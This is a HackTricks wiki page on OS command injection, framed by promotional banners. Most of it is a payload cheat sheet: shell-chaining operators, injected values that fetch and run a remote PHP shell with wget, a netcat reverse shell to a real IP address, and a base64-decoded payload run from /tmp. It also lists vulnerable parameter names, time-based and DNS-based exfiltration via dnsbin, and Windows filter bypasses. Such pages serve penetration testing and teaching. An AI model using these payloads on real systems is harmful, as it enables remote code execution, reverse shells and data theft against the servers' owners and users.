# Command Injection
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
![](<../.gitbook/assets/image (9) (1) (2).png>) Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## What is command Injection? OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute an arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From [here](https://portswigger.net/web-security/os-command-injection)). ### Context Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands. ## Command Injection/Execution ```bash #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls %0A id # %0A Execute both (RECOMMENDED) #Only unix supported `ls` # `` $(ls) # $() ls; id # ; Chain commands ls${LS_COLORS:10:1}${IFS}id # Might be useful #Not executed but may be interesting > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` ### **Limition** Bypasses If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:** {% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} [bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md) {% endcontent-ref %} ### **Examples** ``` vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` ### Parameters Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} ?command={payload} ?execute{payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload} ``` ### Time based data exfiltration Extracting data: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s user 0m0.000s sys 0m0.000s swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi real 0m0.002s user 0m0.000s sys 0m0.000s ``` ### DNS based data exfiltration Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` Online tools to check for DNS based data exfiltration: * dnsbin.zhack.ca * pingb.in ### Filtering bypass #### Windows ``` powershell C:**2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:**32\c*?c.e?e # calc ``` #### Linux {% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} [bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md) {% endcontent-ref %} ## Brute-Force Detection List {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} ## References {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %} {% embed url="https://portswigger.net/web-security/os-command-injection" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
![](<../.gitbook/assets/image (9) (1) (2).png>) \ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}